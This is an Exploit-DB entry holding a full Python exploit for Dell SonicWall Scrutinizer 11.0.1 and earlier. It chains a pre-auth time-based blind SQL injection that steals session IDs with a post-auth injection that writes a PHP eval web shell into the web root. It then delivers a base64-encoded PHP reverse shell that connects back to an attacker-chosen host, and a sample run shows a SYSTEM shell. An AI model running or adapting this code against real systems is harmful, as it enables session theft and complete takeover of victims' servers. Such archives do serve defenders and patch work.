Dell SonicWall Scrutinizer <= 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution

2016-05-09T00:00:00
ID EDB-ID:39783
Type exploitdb
Reporter mr_me
Modified 2016-05-09T00:00:00

Description

Dell SonicWall Scrutinizer. Remote exploit for windows platform

                                        
                                            #!/usr/local/bin/python
"""
Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution
sonic.py by mr_me@offensive-security.com
greets to @brandonprry ;->

Summary:
========

This exploits an pre-auth SQL Injection in the login.php script within an update statement to steal session data. You could also steal login creds 
which require absolutely no hash cracking since the target uses symmetric encryption. It then exploits a second post-auth SQL Injection vulnerability 
that writes a shell to the target using a relative path and gets SYSTEM.

Vulnerability:
==============

In html/d4d/login.php on lines 27-34:

    }else if ($_REQUEST['setSkin']){
        echo setUserSkin(
          array(
            'db' => $db,
            'user_id' => $_REQUEST['user_id'],
            'skin' => $_REQUEST['setSkin']
          )
        );

 Then, on lines 46-62:

 function setUserSkin($args){
    $db = $args['db'];
    
    $result = $db->query("
UPDATE plixer.userpreferences
SET setting = '$args[skin]'
WHERE prefCode = 'skin'
AND users_id = $args[user_id]");
    
    if ($args['user_id'] == 1){
        $result2 = $db->query("
UPDATE plixer.serverprefs
SET currentVal = '$args[skin]'
WHERE langKey = 'skin'");
    }
    
}

For the post-auth bug, see https://gist.github.com/brandonprry/76741d9a0d4f518fe297

Example:
========

saturn:module-03 mr_me$ ./sonic.py

	Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
	mr_me@offensive-security.com

(!) usage: ./poc.py <target> <connectback:port>
saturn:module-03 mr_me$ ./poc.py 172.16.175.147 172.16.175.1:1111

	Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
	mr_me@offensive-security.com

(+) target is vuln, proceeding
(+) waiting for session data... starting at: 2016-05-06 16:31:37.022818
(+) awesome, appears like someone has logged in... 
(+) it took 0:00:05.020670 to detect valid session data
(+) extracting session data... 1:NfS5yetP49TXCqP5
(+) backdooring target...
(+) starting handler on port 1111
(+) connection from 172.16.175.147
(+) pop thy shell!
whoami
nt authority\system
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 172.16.175.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.175.2
*** Connection closed by remote host ***
"""
import re
import sys
import requests
import datetime
import socket
import telnetlib
import email.utils as eut
from threading import Thread
from base64 import b64encode as b64e

lower_value = 0
upper_value = 126

def banner():
	return """\n\tDell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t\n\tmr_me@offensive-security.com\n"""

def ct():
	return datetime.datetime.now()

def parsedate(text):
    return datetime.datetime(*eut.parsedate(text)[:6])

def check_args():
    global target, lserver, lport
    if len(sys.argv) < 3:
        return False
    cb = sys.argv[2]
    target = "http://%s" % sys.argv[1]
    if not ":" in cb:
    	return False
    if not cb.split(":")[1].isdigit():
    	return False
    lserver = cb.split(":")[0]
    lport   = int(cb.split(":")[1])
    return True

def validate():
    r = requests.get("%s/index.html" % target)
    if re.search('Scrutinizer 11.0.1', r.text):
        return True
    return False

def have_sessions(time):
    """
    check if we have sessions
    """   	
    sqli = "if(ascii(substring((select count(session_id) from sessions),1,1))!=48,sleep(%s),null)" % (time)
    url = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    st = ct()
    r = requests.get("%s/%s" % (target, url))
    delta = ct()-st
    if int(delta.seconds) < time:
        return False
    return True

def do_time_based_blind(sql, time):
    lower = lower_value
    upper = upper_value
    while lower < upper:
        try:
            mid = (lower + upper) / 2
            url = "%s/%s" % (target, ("%s>%s,sleep(%s),null)" % (sql, str(mid), time)))
            st = ct()
            r = requests.get(url)
            delta = ct()-st
            if int(delta.seconds) >= time:
                lower = mid + 1
            else:
                upper = mid
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            pass
 
    if lower > lower_value and lower < upper_value:
        value = lower
    else:
        url = "%s/%s" % (target, ("%s=%s,sleep(%s),null)" % (sql, str(lower), time)))
        st = ct()
        r = requests.get(url)
        delta = ct()-st
        if int(delta.seconds) >= time:
            value = lower
    return value

def steal_session_length():
    xlen = ""
    sqli    = "if(ascii(substring((select length(length(concat(user_id,0x3a,session_id))) from sessions limit 0,1),1,1))"
    qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    zlen = int(chr(do_time_based_blind(qry_str, 5)))
    for i in range(0, zlen):
        sqli = "if(ascii(substring((select length(concat(user_id,0x3a,session_id)) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        xlen += chr(do_time_based_blind(qry_str, 5))
    return int(xlen)

def steal_session(length, time):
    session = ""
    for i in range(0, length):
        sqli    = "if(ascii(substring((select concat(user_id,0x3a,session_id) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        char = chr(do_time_based_blind(qry_str, 5))
    	session += char
    	sys.stdout.write(char)
    	sys.stdout.flush() 
    return session

# build the reverse php shell
def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return phpkode

def kill_shot(stolen_data):
    user_id    = stolen_data.split(":")[0]
    sessionid = stolen_data.split(":")[1]
    url = "d4d/dashboards.php?deleteTab=1 union select '<?php eval(base64_decode($_COOKIE[\\'awae\\'])); ?>' into outfile '../../html/d4d/offsec.php'"
    requests.get("%s/%s" % (target, url), cookies={"userid": user_id, "sessionid": sessionid})

def exec_code():
    phpkodez = b64e(build_php_code())
    handlerthr = Thread(target=handler, args=(lport,))
    handlerthr.start()
    requests.get("%s/d4d/offsec.php" % (target), cookies={"awae": phpkodez})

def handler(lport):
    print "(+) starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def main():
    if check_args():
        if validate():
            print "(+) target is vuln, proceeding"
            st = ct()
            print "(+) waiting for session data... starting at: %s" % ct()
            # we dont use recursion since we could get stack exhaustion. 
            while not have_sessions(5):
            	pass
            print "(+) awesome, appears like someone has logged in... "
            print "(+) it took %s to detect valid session data" % (ct()-st)
            sys.stdout.flush() 
            sys.stdout.write("(+) extracting session data... ")
            dataz = steal_session(steal_session_length(), 5)
            print "\n(+) backdooring target..."
            kill_shot(dataz)
            exec_code()
    else:
    	print "(!) usage: %s <target> <connectback:port>" % sys.argv[0]

if __name__ == "__main__":
    print banner()
    main()